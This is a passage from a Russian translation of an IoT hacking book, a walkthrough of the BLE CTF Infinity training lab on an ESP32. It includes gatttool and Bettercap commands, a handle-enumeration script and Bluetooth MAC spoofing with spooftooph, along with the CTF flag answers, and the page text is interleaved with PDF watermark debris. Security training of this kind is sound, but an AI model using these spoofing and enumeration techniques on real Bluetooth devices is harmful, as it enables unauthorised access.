Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / практический хакинг.pdf
Скачиваний:
22
Добавлен:
19.04.2024
Размер:
31.35 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Все отправляемые данные должны быть представлены в шест-

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

надцатеричном формате. Например, чтобы отправить слово

 

w

 

 

 

 

g

 

o

 

 

p

 

 

 

 

 

 

 

 

"hello"

 

 

 

e

 

 

 

.

df

 

 

n

 

.c

 

 

 

 

 

-x cha

 

 

 

 

 

в характеристику с UUID ff06,выдолжны ввести следующую команду

 

 

 

 

 

 

 

в интерактивной оболочке Bettercap:

>> ble.write <mac address of device> ff06 68656c6c6f

Также можно использовать GATTTool для чтения и записи данных. GATTTool поддерживает дополнительные форматы ввода для указа- ния обработчиков или UUID. Например, чтобы выполнить команду write с помощью­ GATTTool вместо Bettercap, введите:

# gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --charwrite- req <characteristic handle> <value>

Попрактикуемся в чтении данных с помощью­ GATTTool. Извлеки- те имя устройства из дескриптора с адресом 0x16 (он зарезервирован протоколом как имя устройства.)

#gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --charread -a 0x16

#gatttool -b a4:cf:12:6c:b3:76 --char-read -a 0x16

Characteristic value/descriptor: 32 62 30 30 30 34 32 66 37 34 38 31 63 37 62 30 35 36 63 34 62 34 31 30 64 32 38 66 33 33 63 66

Теперь вы можете обнаруживать устройства, составлять список ха- рактеристик, а также читать и записывать данные, чтобы попытать- ся изменить функциональность устройства. Вы готовы приступить к взлому BLE.

Взлом BLE

В этом разделе мы рассмотрим CTF, разработанный, чтобы помочь вампопрактиковатьсявовзломеBLE,–проектBLECTFInfinity(https:// github.com/hackgnar/ble_ctf_infinity/). Использование CTF требует нали-

чия как базовых, так и продвинутых навыков. Этот CTF работает на плате ESP32 WROOM.

МыбудемиспользоватьпопеременноBettercap иGATTTool,потому что в решении определенных задач иногда лучше один,а иногда дру- гой инструмент. Решение практических задач с помощью­ этого CTF научитвас исследовать неизвестные устройства,обнаруживать функ- циональные возможности и управлять состояниями этих устройств. Прежде чем двигаться дальше, убедитесь, что вы настроили среду разработки и набор инструментов для ESP32, как описано на страни-

це https://docs.espressif.com/projects/esp-idf/en/latest/get-started/. Большин-

ство операций будет выполняться, как описано в документации; не- которые нюансы мы отметим ниже.

Bluetooth Low Energy (BLE)  323

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Настройка BLE CTF Infinity

w Click

to

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

Для сборки BLE CTF Infinity рекомендуем использовать Linux, по-

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-x cha

 

 

 

 

тому что make-файл выполняет некоторые дополнительные опера- ции копирования с исходным кодом (вы можете использовать файл CMakeLists.txt, если предпочитаете выполнять компиляцию в среде Windows). Файл, необходимый для компиляции, включен в матери-

алы к этой книге по адресу https://nostarch.com/practical-iot-hacking/. Для успешной компиляции инструмента вам необходимо сделать сле­ дующее.

1.Создайте пустую папку с именем main в корневой папке про­ екта.

2.Выполнитекомандуmake menuconfig.Убедитесь,чтовашеустрой- ство настроено, Bluetooth на нем включен, а предупреждения компиляторанесвидетельствуютобошибках.Файлsdkconfigдля сборки вы опять же найдете в онлайн-ресурсах к книге.

3.Выполните команду make codegen, чтобы запустить скрипт Py- thon,который,помимо прочего,копируетисходные файлы в ос- новную папку.

4.Отредактируйте файл main/flag_scoreboard.c и измените значе-

ние переменной string_total_flags [] с 0 на 00.

Выполните команду make, чтобы собрать CTF, и make flash, чтобы записать прошивку на плату. Когда процесс завершится, программа CTF запустится автоматически.

После запуска CTF вы должны увидеть маяки, доступные при ска- нировании. Другой вариант – связаться с назначенным последова- тельным портом (скорость передачи по умолчанию 115200) и прове- рить отладочный вывод.

I (1059) BLE_CTF: create attribute table successfully, the number handle = 31

I (1059) BLE_CTF: SERVICE_START_EVT, status 0, service_handle 40

I (1069) BLE_CTF: advertising start successfully

Приступаем к работе

Найдите табло,на котором показан дескриптор для отправки флагов, дескриптор для навигации по задачам и еще один дескриптор для сброса CTF.Затем получите перечень характеристик при помощи ин- струмента, который вы предпочитаете (рис. 11.8).

Дескриптор 0030 позволяет перемещаться по задачам. Используя Bettercap, запишите значение 0001 в этот дескриптор, чтобы перейти к флагу № 1:

>> ble.write a4:cf:12:6c:b3:76 ff02 0001

324  Глава 11

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис.11.8.Использование Bettercap для вывода перечня BLE CTF Infinity

ЧтобысделатьтожесамоеприпомощиGATTTool,используйтесле- дующую команду:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x0030 -n 0001

После того как вы запишете характеристику, имя маяка будет ука- зывать,что вы видите сервер GATT для флага #1.Например,Bettercap покажет что-то в таком духе:

[ble.device.new] new BLE device FLAG_01 detected as A4:CF:12:6C:B3:76 -42 dBm

Это отображение новой таблицы GATT, по одной для каждой зада- чи.Теперь,когда вы знакомы с базовой навигацией,давайте вернем- ся к основной таблице:

[a4:cf:12:6c:b3:76][LE]> char-write-req 0x002e 0x1

Начнем с флага #0. Перейдите к нему, записав значение 0000 в дес- криптор 0x0030:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x0030 -n 0000

Интересно,что задача 0 выглядит не чем иным,как исходным сер- вером GATT, отображающим таблицу (рис. 11.9). Мы что-то пропус­ тили?

Bluetooth Low Energy (BLE)  325

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Если присмотреться, имя устройства 04dc54d9053b4307680a очень

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

df-x chan

 

o

 

похоже на флаг, верно? Давайте проверим это, отправив имя устрой-

.

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

e

 

ства как ответ на дескриптор 002e. Обратите внимание: если вы ис- пользуете GATTTool,вам нужно отформатировать его в шестнадцате- ричном формате:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n

"04dc54d9053b4307680a"|xxd -ps)

Characteristic value was written successfully

Исследуя таблицу, вы видите, что команда сработала, поскольку флаг 0 показан как завершенный. Вы решили первую задачу. По- здравляем!

Рис.11.9.Таблица характеристик BLE CTF INFINITY

Флаг 1.Исследование характеристик и дескрипторов

Теперь перейдите к FLAG_01 с помощью­ команды:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x0030 -n 0000

Здесь мы снова начинаем с изучения таблицы GATT. Давайте по- пробуем использовать GATTTool, чтобы перечислить характеристики и дескрипторы:

# gatttool -b a4:cf:12:6c:b3:76 -I

[a4:cf:12:6c:b3:76][LE]> connect

326  Глава 11

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Attempting to connect to a4:cf:12:6c:b3:76 Connection successful [a4:cf:12:6c:b3:76][LE]> primary

attr handle: 0x0001, end grp handle: 0x0005 uuid: 00001801-0000-1000-8000-00805f9b34fb

attr handle: 0x0014, end grp handle: 0x001c uuid: 00001800-0000-1000-8000-00805f9b34fb

attr handle: 0x0028, end grp handle: 0xffff uuid: 000000ff-0000-1000-8000- 00805f9b34fb

write-req characteristics [a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x0001 Characteristic value/descriptor: 01 18 [a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x0014 Characteristic value/descriptor: 00 18 [a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x0028 Characteristic value/descriptor: ff 00 [a4:cf:12:6c:b3:76][LE]> char-desc

handle: 0x0001, uuid: 00002800-0000-1000-8000-00805f9b34fb

handle: 0x002e, uuid: 0000ff03-0000-1000-8000-00805f9b34fb

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

После изучения каждого дескриптора мы находим дескриптор 0x002c, который выглядит как флаг. Чтобы прочитать значение деск­ риптора, мы можем использовать команду char-read-hnd <handle>, например:

[a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x002c

Characteristic value/descriptor: 38 37 33 63 36 34 39 35 65 34 65 37 33 38 63 39 34 65 31 63

Помните, что вывод имеет шестнадцатеричный формат, поэтому он соответствуеттексту ASCII 873c6495e4e738c94e1c.

Мы нашли флаг! Вернитесь к главной таблице и отправьте новый флаг, подобно тому, как вы делали это ранее с флагом 0:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n

"873c6495e4e738c94e1c"|xxd -ps)

Characteristic value was written successfully

Мы также могли бы использовать bash для автоматизации обна- ружения этого флага. В этом случае мы бы перебирали обработчи- ки, чтобы прочитать значение каждого обработчика. Можно было бы легкопереписатьследующийскриптвпростойфаззер,которыйзапи- сывает значения вместо выполнения операции --char-read:

#!/bin/bash

for i in {1..46} do

VARX=`printf '%04x\n' $i`

Bluetooth Low Energy (BLE)  327

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

echo "Reading handle: $VARX"

gatttool -b a4:cf:12:6c:b3:76 --char-read -a 0x$VARX sleep 5

done

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Запуская скрипт, мы должны получить информацию из дескрип­ торов:

Reading handle: 0001

Characteristic value/descriptor: 01 18 Reading handle: 0002

Characteristic value/descriptor: 20 03 00 05 2a

Reading handle: 002e

Characteristic value/descriptor: 77 72 69 74 65 20 68 65 72 65 20 74 6f 20 67 6f 74 6f 20 74 6f 20 73 63 6f 72 65 62 6f 61 72 64

Флаг 2.Аутентификация

При просмотре таблицы FLAG_02 GATT вы должны увидеть сообще- ние «Insufficient authentication» (недостаточная аутентификация) на дескрипторе 0x002c, а также сообщение Connect with pin 0000 на де- скрипторе 0x002a (рис. 11.10). Это задание имитирует устройство со слабым пин-кодом, используемым для аутентификации.

Рис.11.10.Нам нужно пройти аутентификацию перед чтением дескриптора 002c

Подсказка подразумевает, что нам нужно установить безопасное соединение для чтения защищенного дескриптора 0x002c. Для этого мы используем GATTTool с параметром --sec-level = high, который устанавливает высокий уровень безопасности­ соединения и уста- навливает аутентифицированное зашифрованное соединение (AESCMAC или ECDHE) перед чтением значения:

# gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c

Characteristic value/descriptor: 35 64 36 39 36 63 64 66 35 33 61 39 31 36 63 30 61 39 38 64

328  Глава 11

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Отлично! На этотраз после преобразования из шестнадцатерично-

 

 

 

 

 

m

w Click

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

го формата в ASCII вместо сообщения «Insufficient authentication» мыdf-x chan

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

e

 

получаем флаг 5d696cdf53a916c0a98d. Вернитесь к основной таблице и отправьте его, как показано ранее:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n

"5d696cdf53a916c0a98d"|xxd -ps)

Characteristic value was written successfully

Как видите, флаг правильный! Мы решили задачу № 2.

Флаг 3.Подмена вашего MAC-адреса

Перейдите к FLAG_03 и получите перечень служб и характеристик на его сервере GATT. В строке 0x002a есть сообщение «Connect with mac 11: 22: 33: 44: 55: 66» (рис. 11.11). Теперь перед нами стоит задача на- учиться подделывать оригинальный MAC-адрес соединения, чтобы прочитать дескриптор.

Рис.11.11.Просмотр характеристики FLAG_3 с использованием Bettercap

Этоозначает,чтомыдолжныподделатьнастоящийMAC-адресBlue- tooth,чтобы получитьфлаг.Можно использоватьHciconfigдля выпол- нения команд, которые изменят ваш MAC, однако утилита spooftooph Linux намного проще в использовании, поскольку не требует от вас отправки необработанных команд. Установите утилиту при помощи своеголюбимогодиспетчерапакетовивыполнитеследующуюкоман- ду,чтобы заменить MAC-адрес на адрес,указанный в сообщении:

# spooftooph -i hci0 -a 11:22:33:44:55:66

Manufacturer: Cambridge Silicon Radio (10) Device address: 00:1A:7D:DA:71:13

New BD address: 11:22:33:44:55:66 Address changed

Проверьте свой новый поддельный MAC-адрес с помощью­ hciconfig:

Bluetooth Low Energy (BLE)  329

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

# hciconfig

hci0: Type: Primary Bus: USB

BD Address: 11:22:33:44:55:66 ACL MTU: 310:10 SCO MTU: 64:8 UP RUNNING

RX bytes:682 acl:0 sco:0 events:48 errors:0 TX bytes:3408 acl:0 sco:0 commands:48 errors:0

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Используя команду Bettercap ble.enum,еще раз взгляните на сервер GATT для этой задачи.На этотраз в строке 0x002c вы должны увидеть новый флаг (рис. 11.12).

Рис.11.12.FLAG_3 отображается после соединения с нужным MAC-адресом

Вернитесь к главной таблице и отправьте свой новый флаг:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n

"0ad3f30c58e0a47b8afb"|xxd -ps)

Characteristic value was written successfully

Затем проверьте таблицу, чтобы увидеть обновленный результат

(рис. 11.13).

Рис.11.13.Таблица после выполнения первых заданий

330  Глава 11